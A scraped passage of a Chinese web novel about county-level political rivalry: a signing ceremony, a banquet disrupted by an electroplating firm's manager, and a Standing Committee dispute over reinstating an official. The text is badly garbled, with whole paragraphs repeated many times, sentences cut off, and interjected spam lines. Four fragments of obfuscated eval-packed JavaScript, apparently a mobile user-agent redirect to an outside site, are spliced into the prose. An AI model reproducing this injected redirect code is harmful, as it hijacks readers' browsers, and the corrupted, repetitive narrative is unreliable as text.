“常务,我们一起合个影吧。”李承对崔学文邀请道。 “好。” “您站中间。”李承示意崔学文站在C位。 中间的位置,代表着这场合作的主角,这是带着功绩性质的合影。 “我又没做出什么贡献,李县长,你来吧。”崔学文谦让道。 “你是领导,哪有让领导站两侧的道理。” 在李承的强烈要求下,在合影中,常务副县长崔学文站在了C位。 原林装饰CEO陆原和李承,分别站在他的左右两侧。 随着‘咔擦’一声快门响起,这场合作仪式宣告完成。 作为联络员,配合县长工作是他的职责。 配合工作,他就要经得住李承的折腾,经得住骂。 不配合,那就给了李承顺理成章撵走他的借口。 与其在这受苦受累被赶走,不如自己离开。 上午十点。 管委会和原林装饰的签约,正式在会议室内完成。 陈红旗没有到场,但常务副县长崔学文来了。 签约十分顺利,县电视台记者也全程记录,这件事,是要登报的。 “陆总,合作愉快。” 签完字,李承盖上管委会的公章,起身跟陆原握手。 “李县长,合作愉快。” 陆原跟李承握了一下手,微笑点头。 这一握手画面,被记者拍摄记录。 “常务,我们一起合个影吧。”李承对崔学文邀请道。 “好。” “您站中间。”李承示意崔学文站在C位。 中间的位置,代表着这场合作的主角,这是带着功绩性质的合影。 “我又没做出什么贡献,李县长,你来吧。”崔学文谦让道。 “你是领导,哪有让领导站两侧的道理。” 在李承的强烈要求下,在合影中,常务副县长崔学文站在了C位。 原林装饰CEO陆原和李承,分别站在他的左右两侧。 随着‘咔擦’一声快门响起,这场合作仪式宣告完成。 作为联络员,配合县长工作是他的职责。 配合工作,他就要经得住李承的折腾,经得住骂。 不配合,那就给了李承顺理成章撵走他的借口。 与其在这受苦受累被赶走,不如自己离开。 上午十点。 管委会和原林装饰的签约,正式在会议室内完成。 陈红旗没有到场,但常务副县长崔学文来了。 签约十分顺利,县电视台记者也全程记录,这件事,是要登报的。 “陆总,合作愉快。” 签完字,李承盖上管委会的公章,起身跟陆原握手。 “李县长,合作愉快。” 陆原跟李承握了一下手,微笑点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312521|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一握手画面,被记者拍摄记录。 “常务,我们一起合个影吧。”李承对崔学文邀请道。 “好。” “您站中间。”李承示意崔学文站在C位。 中间的位置,代表着这场合作的主角,这是带着功绩性质的合影。 “我又没做出什么贡献,李县长,你来吧。”崔学文谦让道。 “你是领导,哪有让领导站两侧的道理。” 在李承的强烈要求下,在合影中,常务副县长崔学文站在了C位。 原林装饰CEO陆原和李承,分别站在他的左右两侧。 随着‘咔擦’一声快门响起,这场合作仪式宣告完成。 作为联络员,配合县长工作是他的职责。 配合工作,他就要经得住李承的折腾,经得住骂。 不配合,那就给了李承顺理成章撵走他的借口。 与其在这受苦受累被赶走,不如自己离开。 上午十点。 管委会和原林装饰的签约,正式在会议室内完成。 陈红旗没有到场,但常务副县长崔学文来了。 签约十分顺利,县电视台记者也全程记录,这件事,是要登报的。 “陆总,合作愉快。” 签完字,李承盖上管委会的公章,起身跟陆原握手。 “李县长,合作愉快。” 陆原跟李承握了一下手,微笑点头。 这一握手画面,被记者拍摄记录。 “常务,我们一起合个影吧。”李承对崔学文邀请道。 “好。” “您站中间。”李承示意崔学文站在C位。 中间的位置,代表着这场合作的主角,这是带着功绩性质的合影。 “我又没做出什么贡献,李县长,你来吧。”崔学文谦让道。 “你是领导,哪有让领导站两侧的道理。” 在李承的强烈要求下,在合影中,常务副县长崔学文站在了C位。 原林装饰CEO陆原和李承,分别站在他的左右两侧。 随着‘咔擦’一声快门响起,这场合作仪式宣告完成。 作为联络员,配合县长工作是他的职责。 配合工作,他就要经得住李承的折腾,经得住骂。 不配合,那就给了李承顺理成章撵走他的借口。 与其在这受苦受累被赶走,不如自己离开。 上午十点。 管委会和原林装饰的签约,正式在会议室内完成。 陈红旗没有到场,但常务副县长崔学文来了。 签约十分顺利,县电视台记者也全程记录,这件事,是要登报的。 “陆总,合作愉快。” 签完字,李承盖上管委会的公章,起身跟陆原握手。 “李县长,合作愉快。” 陆原跟李承握了一下手,微笑点头。 这一握手画面,被记者拍摄记录。 “常务,我们一起合个影吧。”李承对崔学文邀请道。 “好。” “您站中间。”李承示意崔学文站在C位。 中间的位置,代表着这场合作的主角,这是带着功绩性质的合影。 “我又没做出什么贡献,李县长,你来吧。”崔学文谦让道。 “你是领导,哪有让领导站两侧的道理。” 在李承的强烈要求下,在合影中,常务副县长崔学文站在了C位。 原林装饰CEO陆原和李承,分别站在他的左右两侧。 随着‘咔擦’一声快门响起,这场合作仪式宣告完成。 作为联络员,配合县长工作是他的职责。 配合工作,他就要经得住李承的折腾,经得住骂。 不配合,那就给了李承顺理成章撵走他的借口。 与其在这受苦受累被赶走,不如自己离开。 上午十点。 管委会和原林装饰的签约,正式在会议室内完成。 陈红旗没有到场,但常务副县长崔学文来了。 签约十分顺利,县电视台记者也全程记录,这件事,是要登报的。 “陆总,合作愉快。” 签完字,李承盖上管委会的公章,起身跟陆原握手。 “李县长,合作愉快。” 陆原跟李承握了一下手,微笑点头。 这一握手画面,被记者拍摄记录。 “常务,我们一起合个影吧。”李承对崔学文邀请道。 “好。” “您站中间。”李承示意崔学文站在C位。 中间的位置,代表着这场合作的主角,这是带着功绩性质的合影。 “我又没做出什么贡献,李县长,你来吧。”崔学文谦让道。 “你是领导,哪有让领导站两侧的道理。” 在李承的强烈要求下,在合影中,常务副县长崔学文站在了C位。 原林装饰CEO陆原和李承,分别站在他的左右两侧。 随着‘咔擦’一声快门响起,这场合作仪式宣告完成。 第343章 画 中午。 管委会的主要领导班子和原林装饰的签约代表在凤玺楼共进午餐庆祝签约顺利达成。 “今天我们园区和原林装饰签约落地这是全县招商引资的一件大事喜事。 首先我代表管委会感谢原林装饰对我们的信任和认可。 管委会一定会全程保障让企业可以放心投资安心发展。 今后我们政企同心把项目建好把产业做强为全县经济发展添砖加瓦! 同时也特别感谢崔常务在县政府内的协调工作没有崔常务的背后努力企业的签约也不会如此顺利进展。 我提议我们共同举杯庆祝原林装饰顺利签约!” 李承作为管委会的一把手他率先举杯发起了讲话。 在这段里他特意给崔学文带了高帽。 这是为了让生性多疑的陈红旗去乱想去乱猜! “干杯!” 在一声声热闹的庆祝下大家举杯共饮。 “常务您讲来句话。” 李承看向崔学文让他讲话。 在这种时刻他作为在场级别最高的领导讲话是必须的。 “刚才李县长给我唱了高调其实我今天来就是个助兴的企业的落地我没有给到什么帮助。 这是李县长牵头下和全体管委会人员共同努力的结果感谢你们为风林县的发展做出努力。 同时也希望原林装饰 ‘砰’ 正在崔学文讲话期间包厢的门被暴力推开。 一伙人气势汹汹地闯了进来。 李承目光望去这群人领头的李承认识。 恒达精密电镀有限公司的总经理马军民。 看到他到来李承下意识的将目光望向了崔学文。 崔学文的脸色同样阴沉。 马军民打断了他的讲话这让崔学文十分不爽。 准备的说马军民的到来就让崔学文不满因为对方来者不善! 若是李承一个人在场马军民怎么折腾崔学文都不会计较。 可他在这里马军民若是来闹就是不给他这位常务副县长的面子! “马军民你带这么多人来想干什么?”崔学文沉着脸问。 “崔县长我今天来不是冲您我是来找李承的。”马军民解释一句想要将崔学文摘出去。 可崔学文就在场怎么可能与他 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 无关? “有时候问题你去管委会单独说这个场合不适合说事先回去!”崔学文用命令的口吻对马军民道。 “我就要在这说因为我们觉得遭受了不公的对待凭什么他们原林装饰享受的优惠政策比我们好?就因为他们体量比我们大吗? 我现在要申请跟原林装饰一样的政策待遇!”马军民声音洪亮生怕有人听不见似的。 恒达精密电镀有限公司是产业园区的第一家入驻公司。 这个公司能落地是陈红旗亲自招商过来的他们的政策用的是陈红旗的政策。 税收减免一年地方税减免四成。 并且他们承担了部分道路修建费以及承诺提供一百个就业岗位。 从政策上讲他们的待遇和原林装饰天差地别! “你的政策不是跟我谈的现在你也不应该来找我。” 李承的意思很明白他的政策是跟陈红旗谈的应该去找陈红旗。 但这种场合下李承不能直接点名让他去找陈红旗。 那就是明面上给县长挖坑添麻烦是忌讳。 “我的合同就是跟你们管委会签的你现在是一把手我不找你找谁?跟我签合同的林县长现在已经被停职了难道还要让我找她不成?” 马军民严肃地反驳道。 他今天到这里**就是陈红旗授意。 他们恒达精密电镀有限公司带着精密二字听起来很高大上像是高精尖企业实则不然。 电镀行业 生产所用的强酸强碱危害大易出事气味难闻扩散性还强。 废水含重金属一旦乱排对生态环境的影响非常严重。 若是没有陈红旗给他们开绿灯他们企业完全达不到招商标准属于那种严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316051|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管下还没有政府愿意接纳的企业。 陈红旗接纳他们既是陈红旗的政绩工程又是陈红旗敛财的工具所以他们才会乖乖配合陈红旗的安排。 “马总当初跟你谈合作时是我来对接的有问题我们谈这件事跟李县长没关系。 今天是管委会与原林装饰的签约日子你作为园区企业应该也希望园区能有更好的发展。 这样我们出去谈我来给你解释。” 正当李承准备开口时管委会常务副主任田鑫主动站了出来替李承解围。 “行你能谈是吧?那我们谈。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 马军民很给田鑫的面子,爽快地答应,便跟田鑫一起走出了包厢。 这一情况,让李承始料不及。 眼下是宴会的庆祝,对于他们的离开,李承也没放在心上,暂时解决了这些麻烦就行。 “刚才有个小插曲,我们继续。” 说着,李承看向崔学文:“常务,您继续。” 一处民宅中。 石文海坐在沙发上,望着面前画画的小孙女,正在发呆。 自从今早见过李承后,他的脑袋里一直在纠结这件事。 几次想跟辛磊打电话,几次又放下了手机。 他是一个正直的老干部,他在位期间,最大的愿景,就是希望他的家乡能够得到发展。 产业园区让他看到了希望。 他想帮李承和**,这是为百姓的贡献。 可是,他怕。 怕丢了自己老领导的面子,担心自己引以为豪的**生涯,最终落得个世态炎凉。 “爷爷.你看我画的怎么样?” 他胡思乱想之际,小孙女拿着画,屁颠屁颠地跑了过来。 石文海戴上老花镜,看起这幅画。 一个四五岁的小姑娘,画得并不出彩,但可以看出来,她画的是一个人,歪歪扭扭,却带着一顶画着红色五角星的帽子。 在这个人物的背后,还有很多个小人。 第344章 ‘英雄\’ “你画的这是什么呀?”石文海宠爱地摸了摸女孩的头。 “画的是爷爷呀。”女孩奶声奶气地说。 “那后面这些呢?” 石文海指着后面那一群歪歪扭扭的小人,疑惑不解。 他认为,那些小人可能是他领导下的下属,这幅画,展现了他领导者的威严。 “这些是罐头厂的下岗工人,这是罐头,你没看出来呀?笨爷爷。”小女孩,指着画中的一处,捂着小嘴笑了起来。 “你不说那是罐头,爷爷以为是鸡蛋呢,呵呵呵.” 石文海看着被画成圆滚滚的罐头瓶,温和地笑了起来。 “才不是鸡蛋呢。”小女孩可爱地撅起小嘴。 “怎么想起画这个呢?”石文海好奇地问。 “妈妈说,爷爷是很勇敢,很有责任的大英雄,像汪汪队里的阿奇一样,遇到事情第一个冲上去,能给困难的人解救出来。” 小女孩的妈妈,就曾经是罐头厂下岗员工的子女。 也是因为那次罐头厂下岗问题,石文海的儿子才和她结缘,嫁入到了石家。 在她的心中,石老就是人民公仆的具象化,所以,她一直教导女儿,说爷爷是英雄。 小女孩并不懂什么大道理,这些全部是她妈妈从小教给她的。 她牢记于心,在她心里,爷爷就是这个家的英雄。 “呵呵呵” 听到小孙女的话,石文海不置可否地笑了笑,自嘲道:“爷爷现在是狗熊啦。” “才不是呢,爷爷就是英雄,是大英雄!”小女孩气呼呼地强调着。 闻言,石文海的眼眸更深邃了一些。 小孙女无意间的一个举动,让这位老干部做出了决定。 “那爷爷就再试着当一回英雄。” 石文海拿起手机,走到阳台,拨通了那个他迟疑很久的电话。 关于**问题的**会讨论,被陈红旗以市里开会为由,推辞到了周五。 正常而言,**会由县委**召开,就算陈红旗缺席,照样可以进行。 而且,对李承和王革而言,他缺席是一件好事,更方便落实**的职务复原。 只可惜,陈红旗有他的班底。 常务会召开,必须要符合半数以上的**到场,而涉及人事任命议题,必须要三分之二的**到场。 十一个**,至少要到场八人。 可陈红旗不来,其他本地派**也纷纷请假,人数不达标,只能被迫延 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 期。 下午,王平主动找到了李承。 “李县长,我年纪大了,思想也落后,达不到您的标准,我已经跟政府办打了招呼,就不担任您的联络员了。” 王平站在李承的面前,勉强挤出一个微笑。 李承故意刁难,让他心里很不好受。 尤其是他呕心沥血一晚上,修修改改的几篇演讲稿,到最后,李承甚至在签约仪式上,连演讲都没有做。 更让他觉得自己被戏耍了。 “老王,你坐。” 李承对待他的语气温和了下来,示意王平坐下。 待到王平坐下后,李承递给了他一根香烟,这次李承对他第一次表达出善意。 “谢谢。” 王平接过烟,掏出打火机,准备帮李承点烟。 李承摆了摆手,自己点了一根香烟,深深吸了一口。 “你的能力和态度都没问题,但联络员这个工作量重,不太适合你,回政府办吧。” 李承语重心长地说。 王平已经决定离开了,他也不想再否定王平。 身为联络员,他是合格的,至少比刘婷强太多。 只不过,他不能接受王平是赵兵的人。 更不能接受,赵兵随便安排一个人过来,就把他指定的联络员给替换了。 李承让戚瑶当联络员,到现在为止,已经不再是最初的工作考虑。 而是一位副县长在政府部门的威严问题! “我都明白,您也不是针对我。” 王平什么都懂,他生气李承的刁难,却也不会怪李承。 到了他这个年纪,还在这个级别上,已经不想着再升一步了,只想等着安稳退休。 晚上,李承去江边跑了五公里,回到宿舍冲了一个澡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316052|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他主动给许梦发去一个视频,这还是上次分别后,他主动给许梦打的一个视频。 自从那件事后,两个人的沟通变少了。 一来,李承工作确实忙。 二来,似乎两个人已经有了隔阂,不再像曾经那般无话不谈,李承的分享欲也在降低。 “老公,想我了?” 电话接通,许梦的笑颜出现在屏幕中。 她也有了改变,比以前更温柔了些。 这并非许梦做错了事,她只是发现李承有了变化,她不想失去这段感情,她想破冰,想要跟李承重回以前。 这是许梦第一段感情,作为初恋,她还是抱着美好的未来幻想。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 没有什么感情经历,让她在感情方面,相对单纯。 “嗯,想你了。”李承说。 “我的离职手续已经办好了,这两天收拾一下行李,我可以过去陪你啦。” 许梦兴致勃勃地说完,发现李承的表情没有太大变化,她问:“你过来接我吗?” “接你呀,那么多行李,你自己怎么拿得完。”李承说。 “太好了,我都快想死你了,终于不用再跟你分开了,好期待。” 分开这些天,许梦每天都在想念着李承。 她以为,那件误会发生后,她会渐渐对李承失去信任和依赖。 事实上却并没有。 经过了这次差点分手,她反而更依赖,更想回到李承的身边。 因为她尝过了即将分手时,那种心碎的疼。 以前许梦看电视剧,以为分手心疼是夸张的演法,可她当真正体会过,才知道,跟一个爱的人分手,那种心疼是生理上的。 会疼到让人呼吸困难。 所以,她才会不顾家人的反对,放弃一切,也要来到李承身边。 “我也期待。” 李承温柔一笑,闲聊着问:“这次离职后,你有什么打算吗?短视频准备做什么素材?” 之前许梦做的是主持日常花絮,离开主持人的工作,她的素材就要被迫改变。 “还没有想好” 第345章 会议召开 “还没有想好” 许梦嘟起小嘴,这是她苦恼的问题。 人总会对于离开舒适区,有本能的恐惧。 许梦也在为离职后,失去高薪工作和没有短视频素材而焦虑。 “我倒是有一个想法,你可以考虑一下。” 许梦为他离职,李承也不可能对许梦的事业不管不顾。 这些天,他也在为许梦的短视频事业想主意。 “什么想法呀?”许梦好奇地问。 “你可以拍一拍生活百态,底层人民的生活,相当于一个自由媒体人的访谈记录。 比如,那些去底层人家做客,了解这个人的家庭情况,生活的困境等 当一个民办**局。” 来到风林县后,李承看到了很多贫困地区百姓的生活。 他认为,这些可以作为素材。 这样的视频记录,第一,符合许梦曾经的人设,都属于主持人工作的范畴。 不会导致粉丝和流量的大量流失。 第二,这样的视频也有意义,不是单纯的娱乐性质,唤起人们同情心的同时,还能让人珍惜眼前的生活。 人,总是活在曾经与未来之中,却很少珍惜眼前的生活。 这样的视频,能让他们意识到,他们眼下的普通生活,是很多底层人梦寐以求的日子。 让观众们知道,他们的当下生活,也很幸福,应该知足。 “这确实是个不错的主意呀,老公,你好聪明呀。” 闻言,许梦眼前一亮。 李承的提议,不止让她看到了素材本身,还看到了视频的爽点与期待感,而这份期待感来自于李承。 因为她的男朋友,是这个县的权力核心! “老公,如果我采访的那些风林百姓遇到了困难和不公,你是不是可以给他们撑腰呀?” 许梦眨着大眼睛,期待的问。 只要李承愿意帮这些百姓讨公道,视频内容的情绪可以拉满。 既能看到生活百态,底层人民的悲苦,还能伸张正义,进行反转。 很有可能,一个底层人民的故事,都能拍摄成连续剧的模式。 这是许梦期待的效果。 因为,《东江问政》就是这个模式框架,许梦靠《东江问政》大火,与政府部门的撑腰,有直接关系。 那些粉丝关注她,其中有一部分原因,就是好奇许梦的神秘背景。 如果李承能为他撑腰,她的背景神秘感,还能得到延伸 “可以,完全没问题,只是我不能出镜帮你站台。”李承毫不犹豫的答应道。 作为副县长,李承是有纪律,有监督和舆情风险的。 所以,他不能公开给许梦‘开绿灯’,也不能利用权力,给底层人民塞钱,安排工作等. 更不能站在镜头前,去帮助许梦拍摄视频和站台。 但是,作为一名副县长,帮助百姓解决民生问题是职责所在。 只要许梦拍摄的视频真实,的确百姓遭遇了不公,的确有困难,政府部门不给解决,那么,李承通过正常流程的方式,去解决,完全没问题。 合法合规! “太好了,老公,你真好,我终于不需要为视频素材而苦恼了。” 又跟许梦聊了会儿天,李承挂断电话。 他走到沙发上,点燃了一根香烟。 明天上午,关于**能否官复原职的**会议要召开。 一个人事任命的安排,可能就会影响整个产业园区的今后发展,对于**,李承是信任的。 他不想让其他人顶替了**,可对此,李承没有把握。 深深吸了一口香烟,李承感觉心里格外疲惫。 这种疲惫,跟当省长秘书的疲惫,是两码事。 当秘书,李承除了日常工作之外,只需要琢磨孟良德的心思。 可当了副县长,他要考虑**斗争。 ‘这种日子,什么时候才能结束呀’ 李承叹了一口气,心中祈祷着这种日子快点结束。 他很讨厌这种钩心斗角,作为一名‘父母官’,他只希望在本职工作上发光发亮,能够给百姓们带来实实在在的生活改变。 为人民服务,这本应该是每位党员干部的初衷。 可在利益的驱使下,很多干部经不住贪婪的诱惑,沦为金钱和权力的奴隶,完全不顾百姓的死活。 面对这种官员,就要进行斗争! 周五上午,九点半。 县委**会议正式召开,这次的参会人员只有十人。 **部长李春生在会议召开半个小时前,以身体不适为由,请了假,去医院打吊瓶。 身体不适是假,不想参和是真。 他既不想得罪陈红旗,又想跟李承靠拢关系。 投弃权票,反而容易两头得罪,不如直接请假不来,谁也说不出他的不是。 “今天临时召开**会议,是商量**同志的复职问题,经市纪委,县纪委的联查,**同志**是不 实举报,她是清白的,无辜的。 根据规定,必须要恢复她的名誉和职务。” 在县委办主任冯刚汇报过参会人数情况后,王革**直接点名了今天会议主题。 恢复**的职务。 “**查清楚是好事,对于**同志恢复副县长一职,我也是发自内心的高兴,也非常支持。 我始终相信,我们县政府的同志都是廉洁的,**同志没有辜负我的期望。” 王革讲话结束,陈红旗恬不知耻,冠冕堂皇的讲了一番话。 他支持**恢复副县长职务,这并非立场,因为即便他反对,也没有用,这是组织规定。 副县长一职,他动不了。 但**兼任的管委会党工委**一职,他可以运作,换人。 这也是他在这场**会议上的主要目的。 于是,陈红旗在停顿片刻后,继续开口:“但是呢,我觉得**同志已经不再适合担任管委会党工委**一职。 毕竟,她的**就跟产业园区的建设有关。 这其中有争议,会造成不好的影响,尤其是在产业园区的招商阶段,我们不能让一个有争议的同志去管,会引起企业们的担心。 所以呀,我提议让**同志,回到县政府来工作。” 实举报,她是清白的,无辜的。 根据规定,必须要恢复她的名誉和职务。” 在县委办主任冯刚汇报过参会人数情况后,王革**直接点名了今天会议主题。 恢复**的职务。 “**查清楚是好事,对于**同志恢复副县长一职,我也是发自内心的高兴,也非常支持。 我始终相信,我们县政府的同志都是廉洁的,**同志没有辜负我的期望。” 王革讲话结束,陈红旗恬不知耻,冠冕堂皇的讲了一番话。 他支持**恢复副县长职务,这并非立场,因为即便他反对,也没有用,这是组织规定。 副县长一职,他动不了。 但**兼任的管委会党工委**一职,他可以运作,换人。 这也是他在这场**会议上的主要目的。 于是,陈红旗在停顿片刻后,继续开口:“但是呢,我觉得**同志已经不再适合担任管委会党工委**一职。 毕竟,她的**就跟产业园区的建设有关。 这其中有争议,会造成不好的影响,尤其是在产业园区的招商阶段,我们不能让一个有争议的同志去管,会引起企业们的担心。 所以呀,我提议让**同志,回到县政府来工作。” 实举报,她是清白的,无辜的。 根据规定,必须要恢复她的名誉和职务。” 在县委办主任冯刚汇报过参会人数情况后,王革**直接点名了今天会议主题。 恢复**的职务。 “**查清楚是好事,对于**同志恢复副县长一职,我也是发自内心的高兴,也非常支持。 我始终相信,我们县政府的同志都是廉洁的,**同志没有辜负我的期望。” 王革讲话结束,陈红旗恬不知耻,冠冕堂皇的讲了一番话。 他支持**恢复副县长职务,这并非立场,因为即便他反对,也没有用,这是组织规定。 副县长一职,他动不了。 但**兼任的管委会党工委**一职,他可以运作,换人。 这也是他在这场**会议上的主要目的。 于是,陈红旗在停顿片刻后,继续开口:“但是呢,我觉得**同志已经不再适合担任管委会党工委**一职。 毕竟,她的**就跟产业园区的建设有关。 这其中有争议,会造成不好的影响,尤其是在产业园区的招商阶段,我们不能让一个有争议的同志去管,会引起企业们的担心。 所以呀,我提议让**同志,回到县政府来工作。” 实举报,她是清白的,无辜的。 根据规定,必须要恢复她的名誉和职务。” 在县委办主任冯刚汇报过参会人数情况后,王革**直接点名了今天会议主题。 恢复**的职务。 “**查清楚是好事,对于**同志恢复副县长一职,我也是发自内心的高兴,也非常支持。 我始终相信,我们县政府的同志都是廉洁的,**同志没有辜负我的期望。” 王革讲话结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316053|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束,陈红旗恬不知耻,冠冕堂皇的讲了一番话。 他支持**恢复副县长职务,这并非立场,因为即便他反对,也没有用,这是组织规定。 副县长一职,他动不了。 但**兼任的管委会党工委**一职,他可以运作,换人。 这也是他在这场**会议上的主要目的。 于是,陈红旗在停顿片刻后,继续开口:“但是呢,我觉得**同志已经不再适合担任管委会党工委**一职。 毕竟,她的**就跟产业园区的建设有关。 这其中有争议,会造成不好的影响,尤其是在产业园区的招商阶段,我们不能让一个有争议的同志去管,会引起企业们的担心。 所以呀,我提议让**同志,回到县政府来工作。” 实举报,她是清白的,无辜的。 根据规定,必须要恢复她的名誉和职务。” 在县委办主任冯刚汇报过参会人数情况后,王革**直接点名了今天会议主题。 恢复**的职务。 “**查清楚是好事,对于**同志恢复副县长一职,我也是发自内心的高兴,也非常支持。 我始终相信,我们县政府的同志都是廉洁的,**同志没有辜负我的期望。” 王革讲话结束,陈红旗恬不知耻,冠冕堂皇的讲了一番话。 他支持**恢复副县长职务,这并非立场,因为即便他反对,也没有用,这是组织规定。 副县长一职,他动不了。 但**兼任的管委会党工委**一职,他可以运作,换人。 这也是他在这场**会议上的主要目的。 于是,陈红旗在停顿片刻后,继续开口:“但是呢,我觉得**同志已经不再适合担任管委会党工委**一职。 毕竟,她的**就跟产业园区的建设有关。 这其中有争议,会造成不好的影响,尤其是在产业园区的招商阶段,我们不能让一个有争议的同志去管,会引起企业们的担心。 所以呀,我提议让**同志,回到县政府来工作。” 实举报,她是清白的,无辜的。 根据规定,必须要恢复她的名誉和职务。” 在县委办主任冯刚汇报过参会人数情况后,王革**直接点名了今天会议主题。 恢复**的职务。 “**查清楚是好事,对于**同志恢复副县长一职,我也是发自内心的高兴,也非常支持。 我始终相信,我们县政府的同志都是廉洁的,**同志没有辜负我的期望。” 王革讲话结束,陈红旗恬不知耻,冠冕堂皇的讲了一番话。 他支持**恢复副县长职务,这并非立场,因为即便他反对,也没有用,这是组织规定。 副县长一职,他动不了。 但**兼任的管委会党工委**一职,他可以运作,换人。 这也是他在这场**会议上的主要目的。 于是,陈红旗在停顿片刻后,继续开口:“但是呢,我觉得**同志已经不再适合担任管委会党工委**一职。 毕竟,她的**就跟产业园区的建设有关。 这其中有争议,会造成不好的影响,尤其是在产业园区的招商阶段,我们不能让一个有争议的同志去管,会引起企业们的担心。 所以呀,我提议让**同志,回到县政府来工作。” 实举报,她是清白的,无辜的。 根据规定,必须要恢复她的名誉和职务。” 在县委办主任冯刚汇报过参会人数情况后,王革**直接点名了今天会议主题。 恢复**的职务。 “**查清楚是好事,对于**同志恢复副县长一职,我也是发自内心的高兴,也非常支持。 我始终相信,我们县政府的同志都是廉洁的,**同志没有辜负我的期望。” 王革讲话结束,陈红旗恬不知耻,冠冕堂皇的讲了一番话。 他支持**恢复副县长职务,这并非立场,因为即便他反对,也没有用,这是组织规定。 副县长一职,他动不了。 但**兼任的管委会党工委**一职,他可以运作,换人。 这也是他在这场**会议上的主要目的。 于是,陈红旗在停顿片刻后,继续开口:“但是呢,我觉得**同志已经不再适合担任管委会党工委**一职。 毕竟,她的**就跟产业园区的建设有关。 这其中有争议,会造成不好的影响,尤其是在产业园区的招商阶段,我们不能让一个有争议的同志去管,会引起企业们的担心。 所以呀,我提议让**同志,回到县政府来工作。” 第346章 不记名投票 陈红旗的狐狸尾巴,露了出来。 对于他想换掉**这件事,李承早有预料。 “我的观点跟陈县长不同,产业园区现在是空白期,招商期,攻坚期。 **同志从风林县成立产业园区之初,就一直在负责园区的大小工作,是唯一懂园区的人。 而且,**同志曾亲自跑过苏原省谈招商,她手里有丰富的招商企业资源,这些企业们也都很认可她。 昨天,园区成功与原林装饰签约,就是**同志促进下的结果!” 李承说到这里,声音停顿了片刻,他的目光在**们的脸上一一扫过,语气更加坚定:“**同志即便在停职调查阶段,也在默默为园区的招商努力付出,甚至不为名利。 我想请问在座的各位**,像这样不求回报,只为园区和风林发展的干部,还多吗? 组织已经证明了**同志的清白,她没污点,又何来争议呢? 我也表个态,我坚决支持**同志重回园区,恢复她党工委**一职!” 李承义正言辞,不容置疑。 “争议与污点是两码事,园区要建设,就要维护信誉,我当然相信**同志的清白,但不可否认的是,这次停职调查,就会让企业们顾虑。 他们真金白银投进来,当然要选一个没争议的领导,这也是为企业们负责,给他们吃一颗定心丸。” 陈红旗提出反对意见,他的态度也很明白,势必要换掉**:“而且,懂园区的,不止只有**同志一个人。 管委会的常务副主任田鑫,也是从园区建立时,一直跟进到现在,他对园区的了解不比**同志差。 我听说,就在昨天,管委会和原林装饰的庆功宴会上,恒达公司的总经理想去讨要一个说法。 他们想要跟原林装饰一样的政策。 是田鑫同志站了出来,主动跟恒达公司去谈,既没有影响到庆功宴的顺利进行,还成功平息下了恒达公司与管委会的矛盾。 让恒达接受了政策现实,这一点,换做是其他人很难做到呀,这是田鑫同志突出能力的表现。 所以,为了大局考虑,我建议,由李承同志担任党工委**,抓党建,把方向,管大局。 由管委会常务副主任田鑫,担任管委会主任一职,去抓经济,抓项目,抓招商。 我相信,在李承同志的领导下,和田鑫同志的落实下,我们风林县产业园区一定能创造辉煌!” 陈红旗滔滔不绝的讲完后,**们面面 听说看这本书的人都是很幸运的,分享后你的运气会更棒 相觑,也进行了低声议论。 李承的脸色,也变得沉重了些许。 原以为,陈红旗还会摆出那副‘一言堂’的姿态,进行毫无道理的以权压人。 可没想到,这家伙也提前做好了准备,给他换掉**的打算,找了一个合理的借口。 怪不得,昨天恒达精密电镀公司连崔学文的面子都不给,而是给了田鑫的面子。 原来,这一切都是陈红旗的铺垫。 是他为了拿到**会上,给提拔田鑫搞出的说辞。 刨除他‘一言堂’县长的权威不谈,单单论他的说辞和安排,也是完全可以站住脚。 